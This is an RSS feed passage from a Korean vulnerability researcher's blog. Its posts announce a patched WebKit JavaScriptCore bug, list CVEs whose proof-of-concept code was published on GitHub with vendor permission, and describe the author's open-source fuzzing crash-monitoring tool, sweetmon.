<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>sweetchip's blog</title>
    <link>https://pgnsc.tistory.com/</link>
    <description>현성원(sweetchip) | sweetchip@sweetchip.kr</description>
    <language>ko</language>
    <pubDate>Fri, 8 May 2026 07:40:25 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>sweetchip</managingEditor>
    <item>
      <title>새로운 블로그 소식 및 Github 업데이트 '예정'! (Webkit - Javascript Core Vulnerability)</title>
      <link>https://pgnsc.tistory.com/414</link>
      <description>&lt;p&gt;최근 Webkit 프로젝트의 Javascript Engine 파트 Javascript Core 의 Race condition 버그를 찾게되었는데요!&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아는분의 도움을 받아 RIP Controll 에 성공했습니다. YAY~~~&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;물론 리서치 도중에 패치되어 Report 까지는 이어지지는 못했습니다 ㅠ-ㅠ 세상의 슈퍼 짱짱짱 쩌는 해커들이 너무 많아서 힘들어요..&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/sweetchipsw/vulnerability/tree/master/Apple/JavascriptCore&quot;&gt;https://github.com/sweetchipsw/vulnerability/tree/master/Apple/JavascriptCore&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1558447040898&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot;&gt;&lt;a href=&quot;https://github.com/sweetchipsw/vulnerability&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-original-url=&quot;https://github.com/sweetchipsw/vulnerability/tree/master/Apple/JavascriptCore&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/PmQ2S/hyBfZYB7n8/k1ECODT6QBUhnFRlTYAZ5k/img.jpg?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;sweetchipsw/vulnerability&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;Contribute to sweetchipsw/vulnerability development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;(Repository 스타와 팔로우 부탁드립니다.. 허헣)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그리고.. 더 얼마전에 해당 취약점 POC를 Github에 공개하게 되었습니다. (Exploit은 작성되었고 버전 정보 및 조건들은 조만간 새로운 블로그에 Write-up과 함께 동시에 업데이트 할 예정입니다)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이렇게 굳이 버그에 대한 예고(?) 글까지 쓰게 되는 이유는.. 개인적으로 원래 4월에 포스팅을 하는걸 목표로 했으나 게으름과 회사생활의 연속.. + 놀고먹기 등의 갖가지 핑계로 인하여 포스팅 일정이 무기한 연기가 계속되어 얼른.. 끝내버리고 싶은 마음에 올리게 되었습니다..&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;또 한가지 소식은.. 영어 쓰기 공부도 좀 하고 블로그를 글로벌 하게 운영하고 싶은 마음에 영문 블로그를 새로 만들게 되었습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아무래도 영어로 좀 공을 들여 쓰다보니 글을 쓰는데 피로도가 x2배 기도 해서 느려지는것 같습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;새로운 블로그 주소는&amp;nbsp;&lt;a href=&quot;https://bughunting.io/&quot;&gt;https://bughunting.io/&lt;/a&gt;&amp;nbsp;인데요! 나름 레어 도메인을 먹게 되었습니다!&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;앞으로 개인적으로 공부했지만 그중에서도 조금 더 '열심히' 공부 또는 연구했던 내용은 저 블로그에 '영문' 으로 올라갈 예정입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그도안 안다녔던 회사를 다시 다니게 되면서 체력이 딸린다는 핑계로 그동안 개인 연구를 많이 못했지만... 그동안의 게으름을 반성하고 차차 다시 개인적인 연구를 진행하고 싶네요..&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;뜬금없지만 회사 다니면서 새벽에 연구 하시는분들 리스펙!&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다음글은 새로운 글을 작성한 이후에 찾아뵙도록 하겠습니다.&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/414</guid>
      <comments>https://pgnsc.tistory.com/414#entry414comment</comments>
      <pubDate>Tue, 21 May 2019 23:07:30 +0900</pubDate>
    </item>
    <item>
      <title>지금까지 찾았던 취약점 POC 공개!</title>
      <link>https://pgnsc.tistory.com/413</link>
      <description>&lt;p&gt;안녕하세요 오랜만에 글을 업로드 해봅니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;사실 좀 기간이 지나긴 했지만 가끔씩 물어보시는 분들이 계셔서.. 흠흠&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;몇달전에 제 깃헙에 지금까지 제가 발견했던 취약점들중 일부&amp;nbsp;POC를 공개했던 적이 있습니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;모든 취약점을 공개할 수는 없어서 벤더사와 버그바운티사의 허락을 받은 취약점의 POC 만 공개합니다. (주로 브라우저 및 OS, 오픈소스 프로젝트 가 올라가있기도 하고&amp;nbsp;추가로 올라갈 예정입니다)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;POC들은 대부분 웨포나이징의 목적이 아닌 취약점 증명이 목적이라 코드가 그리 깔끔하지 않습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;일부 POC는 EIP를 바꾸는 것도 있습니다. (IE 취약점 중엔 Vtguard 를 Memory Leak을 사용하지 않고 우회한 POC도 있었습니다 ㅎㅅㅎ)&lt;/p&gt;&lt;h2 style=&quot;box-sizing: border-box; margin-top: 24px; margin-bottom: 16px; line-height: 1.25; padding-bottom: 0.3em; border-bottom: 1px solid rgb(234, 236, 239); color: rgb(36, 41, 46); font-family: -apple-system, system-ui, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;;&quot;&gt;Microsoft&lt;/h2&gt;&lt;h3 style=&quot;box-sizing: border-box; margin-top: 24px; margin-bottom: 16px; font-size: 1.25em; line-height: 1.25; color: rgb(36, 41, 46); font-family: -apple-system, system-ui, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;;&quot;&gt;&lt;a id=&quot;user-content-internet-explorer&quot; class=&quot;anchor&quot; aria-hidden=&quot;true&quot; href=&quot;https://github.com/sweetchipsw/vulnerability#internet-explorer&quot; style=&quot;box-sizing: border-box; background-color: transparent; color: rgb(3, 102, 214); float: left; padding-right: 4px; margin-left: -20px; line-height: 1;&quot;&gt;&lt;svg class=&quot;octicon octicon-link&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Internet Explorer&lt;/h3&gt;&lt;ul style=&quot;box-sizing: border-box; padding-left: 2em; margin-top: 0px; margin-bottom: 16px; color: rgb(36, 41, 46); font-family: -apple-system, system-ui, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;; font-size: 16px;&quot;&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;CVE-2014-1799&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;CVE-2015-0037&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;CVE-2015-1712&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;CVE-2015-1714&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;CVE-2015-2447&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;ZDI-CAN-2712&lt;/li&gt;&lt;/ul&gt;&lt;h2 style=&quot;box-sizing: border-box; margin-top: 24px; margin-bottom: 16px; line-height: 1.25; padding-bottom: 0.3em; border-bottom: 1px solid rgb(234, 236, 239); color: rgb(36, 41, 46); font-family: -apple-system, system-ui, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;;&quot;&gt;&lt;a id=&quot;user-content-apple&quot; class=&quot;anchor&quot; aria-hidden=&quot;true&quot; href=&quot;https://github.com/sweetchipsw/vulnerability#apple&quot; style=&quot;box-sizing: border-box; background-color: transparent; color: rgb(3, 102, 214); float: left; padding-right: 4px; margin-left: -20px; line-height: 1;&quot;&gt;&lt;svg class=&quot;octicon octicon-link&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Apple&lt;/h2&gt;&lt;h3 style=&quot;box-sizing: border-box; margin-top: 24px; margin-bottom: 16px; font-size: 1.25em; line-height: 1.25; color: rgb(36, 41, 46); font-family: -apple-system, system-ui, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;;&quot;&gt;&lt;a id=&quot;user-content-osx&quot; class=&quot;anchor&quot; aria-hidden=&quot;true&quot; href=&quot;https://github.com/sweetchipsw/vulnerability#osx&quot; style=&quot;box-sizing: border-box; background-color: transparent; color: rgb(3, 102, 214); float: left; padding-right: 4px; margin-left: -20px; line-height: 1;&quot;&gt;&lt;svg class=&quot;octicon octicon-link&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;OSX&lt;/h3&gt;&lt;ul style=&quot;box-sizing: border-box; padding-left: 2em; margin-top: 0px; margin-bottom: 16px; color: rgb(36, 41, 46); font-family: -apple-system, system-ui, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;; font-size: 16px;&quot;&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;CVE-2016-1818&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;CVE-2016-4780&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font color=&quot;#24292e&quot; face=&quot;-apple-system, system-ui, Segoe UI, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;아무튼 제 POC가 공부에 도움이 되시길.. ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;링크는 :&amp;nbsp;&lt;a href=&quot;https://github.com/sweetchipsw/vulnerability&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/sweetchipsw/vulnerability&lt;/a&gt;&amp;nbsp;입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;마지막으로..... 도움이 되셨다면 Star도 하나 박아주시면 정말 감사하겠습니다~ ㅎ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x13 Write-Up</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/413</guid>
      <comments>https://pgnsc.tistory.com/413#entry413comment</comments>
      <pubDate>Wed, 23 May 2018 01:07:41 +0900</pubDate>
    </item>
    <item>
      <title>sweetmon 릴리즈!</title>
      <link>https://pgnsc.tistory.com/411</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BDC23359C656020D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BDC23359C656020D&quot; width=&quot;960&quot; height=&quot;317&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;드디어.. 우리 동아리 SSG에서 빵빵빵 세미나 라는 자리에서 sweetmon 을 공개하고 Github에 공식적으로 릴리즈했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;상세한 설명은 아래 sweetmon 주소를 참고해주시고..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;첫번째 오픈소스 프로젝트라서 부족한 점이 많습니다.. (버그도 오늘 시연도중에 하나 발견했네요 ㅋㅋㅋ)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 생각보다 버그가 많아서.. 하나하나 수정할 예정입니다.. ;ㅅ;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;PEP 코딩 컨벤션도 지키지 않아서 개발자 분이 본다면 경악하실 수도 있겠습니다만.. (원래 혼자 쓰려고 했다는 말로 핑계를 대봅니다.. ;ㅅ;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래도.. 다시한번 sweetmon 을 소개해드리면&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sweetmon은 Fuzz tester 들을 위해서 제작된 퍼져 및 크래시 모니터링 서비스로 다수의 VM에서 퍼징을 할 때 간단한 코딩으로 쉽게 크래시를 한 서버로 모아주고 알림해주는 서비스입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;코드는 모두 오픈소스이며, MIT 라이센스를 적용하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;프로젝트 및 디테일은 아래 링크에서 확인하실 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/sweetchipsw/sweetmon&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/sweetchipsw/sweetmon&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/sweetchipsw/sweetmon_client&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/sweetchipsw/sweetmon_client&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;버그 및 건의는 Issue 또는 Pull Request를 이용해주세요~&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/411</guid>
      <comments>https://pgnsc.tistory.com/411#entry411comment</comments>
      <pubDate>Sat, 23 Sep 2017 21:43:49 +0900</pubDate>
    </item>
    <item>
      <title>sweetmon 진전 상황</title>
      <link>https://pgnsc.tistory.com/410</link>
      <description>&lt;p&gt;오랜만의 포스팅!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;퍼져 모니터링 시스템인 sweetmon의 개발 상황을 메모 해두고자 오랜만에 포스팅 합니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 sweetmon 제가 Fuzzing 연구를 할때 다수의 VM에서 퍼징을 돌리곤 합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그럴때마다 크래시가 새로 나올때마다 VM 하나하나 들여다보면서 나왔나 안나왔나.. 보는게 좀 많이 귀찮아서 그냥 한곳으로 파일을 쏴주는 스크립트를 제작하곤 했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하지만 귀찮음으로 인하여 계속 버그도 생기고 문제가 자주 발생해서 아예 (이전 보다는) 제대로 한곳으로 크래시를 모아주는 것을 만들어보자! 라고 해서 시작한 프로젝트가 sweetmon입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 기반 언어는 멀티플랫폼을 지원하는&amp;nbsp;Python을 선택했고 Django 프레임워크를 이용하여 개발했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;프론트는 부트스트랩 템플릿인 Dashgum Free버전을 이용하여 개발했습니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;현재는 잠시 퍼징 연구를 멈춰서 개발을 중단했다가 잉여한 방학생활을 의미있게 보내기 위해서 다시 개발을 시작했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리하여.. 기능도 하나 둘 추가로 생기고 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998AEE335993C9AE27&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998AEE335993C9AE27&quot; width=&quot;960&quot; height=&quot;506&quot; filename=&quot;스크린샷 2017-08-16 오후 1.16.48.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 현재 돌아가고 있는 각 Fuzzer의 상태를 모니터링 할 수 있고! (Fuzzer에서 웹 서버에 Ping을 때리면 돌고 있는 상태로 간주합니다)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;몇개의 크래시가 나왔는지, 몇개의 테스트케이스가 돌았는지(이거는 사라질 수도 있는 기능..)을 모니터링 할 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 IDX옆에 있는 버튼을 누르면 Fuzzer의 IP, 타겟, 운영체제 등을 상세하게 볼 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9996BE335993C9B126&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9996BE335993C9B126&quot; width=&quot;960&quot; height=&quot;254&quot; filename=&quot;스크린샷 2017-08-16 오후 1.20.18.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 크래시의 목록들..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;32번 ~ 35번을 보시면 됩니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;각 크래시는 어떤 퍼져에서 나왔는지, 어떤 타겟이고 언제, 몇개의 동일한 크래시가 나왔는지 볼수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E923335993C9AD1E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E923335993C9AD1E&quot; width=&quot;960&quot; height=&quot;509&quot; filename=&quot;스크린샷 2017-08-16 오후 1.14.35.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 크래시 정보에 들어가면 이름, 리포트된 날짜, 타겟, 퍼져, 로그(로그는 퍼져가 직접 서버로 쏴줘야 합니다), 해시, 크기 등을 볼 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아 그리고 간단하게 코멘트를 달 수 있는 기능도 있군요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고.. 크래시 샘플을 다운로드 받을 수 있도록 다운로드 기능과 다른 사람에게 크래시를 공유하고 싶다면 1회용 링크를 생성해서 공유할 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;또한 중복된 크래시 샘플의 리스트를 쭉 볼수 있습니다. (가끔 퍼징을 하다보면 중복 크래시가 많이 나올때 최대한 작은 샘플을 구하고 싶을때가 있죠?)&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9929A5335993C9B301&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9929A5335993C9B301&quot; width=&quot;960&quot; height=&quot;862&quot; filename=&quot;sweetmon.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그외 여러 기능들이 있지만 아직은 완성되지 않은 기능들이고..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;일단 완성된 것들을 알려드리면&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;텔레그램 및 이메일 알림기능을 추가했고 유저가 쉽게 켜고 끌 수 있습니다. (전송 테스트도 가능해요!)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;또한 싱글 유저에서 여러명이 사용 가능한 멀티&amp;nbsp;유저로 코드를 갈아 엎었고..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sweetmon과 개발자 정보도 넣었습니다. (추후에 오픈소스로 공개시 도움이 된 분들은&amp;nbsp;비트코인으로 Dontation을.. 읍읍..)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 사진에 있지 않은 기능들은..&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 제보한 취약점에 대해서 메모할 수 있는 기능&lt;/p&gt;&lt;p&gt;&amp;nbsp;- sweetmon-client 와 그나마 쉽게 연동 가능하도록 퍼져의 정보를 한번 등록해두면 자동으로 설정정보를 생성해주는...?&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 메인 메뉴의 통계.. (매우 허접하여 없어질 가능성이 큼)&lt;/p&gt;&lt;p&gt;&amp;nbsp;- Fuzzer 등록 관리, 크래시 및 로그&amp;nbsp;전송, 핑 체크 등 퍼져와 연결할 수 있는 기능들&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;앞으로 개발 할 내용은..&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 유저간 크래시를 공유&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 크래시 암호화?&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 기타 잡다한 기능들&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;등등이 있겠습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 지난번에 잠깐 언급한&amp;nbsp;sweetmon-client 는 웹 서버와 본인의 퍼져를 쉽게 연결할 수 있고 확장성을 고려하여 프레임워크같이 제작했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;install.py를 실행하면 서버와 연결할 수 있는 정보가 생성되는데 이떄&amp;nbsp;제&amp;nbsp;유저 토큰을 입력하면 퍼져 리스트에 올라오도록 합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998AEE335993C9AE27&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998AEE335993C9AE27&quot; width=&quot;960&quot; height=&quot;506&quot; filename=&quot;스크린샷 2017-08-16 오후 1.16.48.png&quot; 